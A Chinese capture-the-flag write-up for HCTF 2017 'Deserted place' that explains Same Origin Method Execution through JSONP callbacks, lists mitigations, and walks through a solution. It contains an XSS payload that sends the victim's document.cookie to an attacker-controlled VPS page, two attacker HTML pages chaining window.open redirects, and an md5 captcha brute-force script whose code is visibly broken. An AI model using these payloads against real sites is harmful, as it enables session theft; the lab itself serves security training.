WP-HCTF2017-Deserted place

题目复现

https://github.com/CTFTraining/hctf_2017_deserted_place/tree/a35b31966a139146dddf7d0a11c1aed1e585e7ea

1
2
3
4
git clone https://github.com/CTFTraining/hctf_2017_deserted_place.git
cd hctf_2017_deserted_place
docker-compose up -d
docker run -d -p 1000:80 ctftraining/hctf_2017_somexss:latest

访问 http://[你的ip]:1000/ 即可

分析

本题的考点在 XSS 和 SOME
XSS 跨站,没什么好介绍的,这道题的主要考点在 SOME

SOME (Same Origin Method Execution) 同源方法执行

SOME 报告原文

提到 SOME 要先知道 jsonp ,简单来说,Jsonp(JSON with Padding) 是 json 的一种”使用模式”,可以让网页从别的域名(网站)那获取资料,即跨域读取数据。

网站交互时有时会需要用户要提供一个参数用作要被执行函数的函数名,然后网站在执行对应的 Javascript 函数。JSONP(JSON with Padding)就是允许用户传递一个回调参数给服务端,然后服务端返回数据时会将这个回调参数作为函数名来包裹住 JSON 数据。一个简单的 PHP 示例如下:

1
2
3
4
https://example.com/main  
<?php
echo ‘<script src="https://example.com/jsonp?callback=’ . $_GET[“userParam”] .‘ “>’;
?>

在上面的代码段中,用户的输入被直接注入到了 script 标签中,JSONP(https://example.com/jsonp)会返回类似如下的内容:

1
userParam({ jsonp : data }) // userParam 就是用户之前通过 GET 方法提交的内容

深入利用
如果攻击者发现一个网站应用存在 SOME 漏洞,那他们绝不会仅仅满足于浏览网页上的各个元素,相反,通过使用 Javascript 内建的 window.opener 方法可以打开同源网站的其他页面。利用这种方法可以大大的扩展攻击面,但缺点也很明显就是需要打开多个页面。

使用 window.opener
由于我们需要打开多个页面来进行攻击,所以用户必须先登录到攻击者控制的页面上,具体攻击流程如下:

  1. 用户登录到攻击者的控制的页面(后续称为Window 1);
  2. 从 Window 1中启动一个新窗口(后续称为Window 2);
  3. Window 2 是由 Window 1 通过 window.opener 打开的与攻击者控制页面同源的页面;
  4. Window 1 重定向到包含按钮或者其他攻击者想执行 Javascript 方法的目标页面;
  5. Window 2 使用 window.opener 方法打开与 Window 1 目标页面同源的存在SOME漏洞的页面;
  6. Window 2 以 window.opener.functionToExecute 作为回调进行执行;
  7. 此时,函数会在 Window 1 中被执行。

流程如下:




攻击步骤
上一节提到的攻击可以被页面上额外的确认弹窗提示阻止,尽管如此,攻击者依旧可以通过以下流程产生额外的窗口来绕过检查:

  1. 用户登录到攻击者的控制的页面(后续称为Window 1);
  2. 从 Window 1中启动一个新窗口(后续称为Window 2);
  3. 从 Window 1中启动一个新窗口(后续称为Window 3);
  4. Window 2 和 Window 3 是由 Window 1 通过 window.opener 打开的与攻击者控制页面同源的页面;
  5. Window 1 重定向到包含按钮或者其他攻击者想执行 Javascript 方法的页面;
  6. Window 2 和 Window 3 使用 window.opener 方法打开与 Window 1 目标页面同源的存在SOME漏洞的页面;
  7. Window 2 以 window.opener.buttonToClick.click 作为回调进行执行,此时 Window 1 页面上的按钮会被点击且同时弹出额外的确认弹窗;
  8. Window 3 以 window.opener.buttonToConfirm.click 作为回调进行执行,以此来点击 Window 1 页面上确认弹窗的确认按钮;
  9. Window 1 上的两个确认按钮均被点击,攻击完成。

扫描工具 SOMEtime BP插件

SOMEtime 是一个 BurpSuite 开源的被动式扫描插件,通过监听 HTTP 请求与响应来判断目标是否存在 SOME 漏洞

如何缓解

  • 网站应用应尽量使用静态定义的回调值;
  • 如果你需要同时支持多个回调端点,最好的办法就是在服务端使用白名单控制回调值,只有指定的回调值才会被执行。
  • 通常来说,JSONP 是一种可以用来绕过同源策略有争议的技术,如果不是必须要使用,建议使用 window.postMessage 这个更安全的方法来代替完成跨域请求执行。

题目解析

题目环境功能有这么几个:登录,注册,修改信息,随机获取别人的信息并写入到自己的信息中,提交报告

测试发现修改信息 message 处存在 XSS 漏洞

然后来看report.php页面

用户可以输入一个 bug link ,然后输入一个需要爆破 md5 的验证码后提交

简单思路如下:

  1. 在 message 处构造 XSS payload ,payload 触发后跳转到公网 vps 的页面上并携带我们需要的COOKIE
  2. 将公网 vps 页面的 url 地址提交
  3. 等待管理员触发 XSS
  4. 触发后访问我们的 vps 页面,得到 COOKIE

需要的 payload 如下:

vps上写两个页面:

  1. 1.html
    1
    2
    3
    4
    5
    6
    7
    8
    >  <script>
    > function start_some() {
    > window.open("2.html");
    > location.replace("http://[题目地址]/user.php");
    > }
    > setTimeout(start_some(), 1000);
    > </script>
    >
  1. 2.html

    1
    2
    3
    4
    5
    6
    7
    >   <script>
    > function attack() {
    > location.replace("http://[题目地址]/edit.php?callback=RandomProfile&user=[你的用户名]");
    > }
    > setTimeout(attack, 2000);
    > </script>
    >

XSS payload:(因为message提交会将+转译成空格,这里需要将+url编码成%2b)

  • <img src="\" onerror=window.location.href='http://[1.html的地址]?cookie='%2bdocument.cookie>

写个简单的爆破脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
# File : demo.py
# Time : 2019/07/26 18:18:16
# Author : AbelChe
# Blog : https://www.abelche.com
# Email : abelche@qq.com, ac.yucheng@gmail.com


import hashlib


def blasting(s):
HSDICT = 'qwertyuiopasdfghjklzxcvbnm1234567890'
for var1 in HSDICT:
for var2 in HSDICT:
for var3 in HSDICT:
for var4 in HSDICT:
for var5 in HSDICT:
for var6 in HSDICT:
s = hashlib.md5()
payload = var1 + var2 + var3 + var4 + var5 + var6
s.update(payload.encode())
res = s.hexdigest()[0:6]
if res == s:
exit(payload + '\t' + res)


if __name__ == "__main__":
blasting(input('substr(md5($code),0,6) == '))

好了,等管理员触发 XSS

然后访问 1.html 查看 cookie 即可

总结

查看 /var/www/html/edit.php

回调 callback 代码如下:

1
2
3
4
5
6
7
$callback = $_GET['callback'];
preg_match("/\w+/i", $callback, $matches);
...
...
echo "<script>";
echo $matches[0] . "();";
echo "</script>";

提交数据的相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<script>
function UpdateProfile(){
var username = document.getElementById('user').value;
var email = document.getElementById('email').value;
var message = document.getElementById('mess').value;

window.opener.document.getElementById("email").innerHTML="Email: "+email;
window.opener.document.getElementById("mess").innerHTML="Message: "+message;

console.log("Update user profile success...");
window.close();
}

function EditProfile(){
document.onkeydown=function(event){
if (event.keyCode == 13){
UpdateProfile();
}
}
}

function RandomProfile(){
setTimeout('UpdateProfile()', 1000);
}

</script>

当我们点击 change something 图标,触发函数edit():

1
2
3
4
5
6
7
8
function edit(){
var newWin = window.open("./edit.php?callback=EditProfile",'','width=600,height=600');
var loop = setInterval(function() {
if(newWin.closed) {
clearInterval(loop);
update();
}
}, 1000);

点击 click me 图标,则触发函数random():

1
2
3
4
5
6
7
8
function random(){
var newWin = window.open("./edit.php?callback=RandomProfile",'','width=600,height=600');
var loop = setInterval(function() {
if(newWin.closed) {
clearInterval(loop);
update();
}
}, 1000);

明显random()打开的url中带有的 callback 参数值为 RandomProfile ,触发了edit.php 页面中的 RandomProfile() 函数


参考文章:
https://xiaix.me/fan-yi-wa-jue-tong-yuan-fang-fa-zhi-xing-lou-dong-same-origin-method-execution/
https://blog.csdn.net/yanghuan313/article/details/53829453
https://michaelwayneliu.github.io/2017/12/21/SOME%E6%94%BB%E5%87%BB/
http://files.benhayak.com/Same_Origin_Method_Execution__paper.pdf

AbelChe wechat
扫码加微信
Donate here!!!
0%